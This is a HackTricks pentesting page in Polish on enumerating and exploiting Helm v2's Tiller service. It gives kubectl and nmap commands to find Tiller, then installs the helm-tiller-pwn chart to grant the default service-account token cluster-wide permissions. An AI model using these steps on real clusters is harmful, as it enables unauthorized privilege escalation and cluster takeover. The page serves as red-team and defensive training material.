5.3 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Podstawowe informacje
Helm jest menedżerem pakietów dla Kubernetes. Umożliwia pakowanie plików YAML i dystrybucję ich w publicznych i prywatnych repozytoriach. Te pakiety nazywane są Helm Charts. Tiller to usługa działająca domyślnie na porcie 44134, oferująca tę usługę.
Domyślny port: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumeration
Jeśli możesz enumerować pody i/lub usługi różnych przestrzeni nazw, enumeruj je i szukaj tych z "tiller" w ich nazwie:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Przykłady:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Możesz również spróbować znaleźć tę usługę, sprawdzając port 44134:
sudo nmap -sS -p 44134 <IP>
Gdy już to odkryjesz, możesz się z nim komunikować, pobierając aplikację kliencką helm. Możesz użyć narzędzi takich jak homebrew
, lub spojrzeć na oficjalną stronę wydań. Aby uzyskać więcej szczegółów lub inne opcje, zobacz przewodnik instalacji.
Następnie możesz enumerować usługę:
helm --host tiller-deploy.kube-system:44134 version
Eskalacja Uprawnień
Domyślnie Helm2 został zainstalowany w namespace kube-system z wysokimi uprawnieniami, więc jeśli znajdziesz usługę i masz do niej dostęp, może to pozwolić ci na eskalację uprawnień.
Wszystko, co musisz zrobić, to zainstalować pakiet taki jak ten: https://github.com/Ruil1n/helm-tiller-pwn, który da domyślnemu tokenowi usługi dostęp do wszystkiego w całym klastrze.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
W http://rui0.cn/archives/1573 masz wyjaśnienie ataku, ale zasadniczo, jeśli przeczytasz pliki clusterrole.yaml i clusterrolebinding.yaml w helm-tiller-pwn/pwnchart/templates/ możesz zobaczyć, jak wszystkie uprawnienia są przyznawane domyślnemu tokenowi.
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.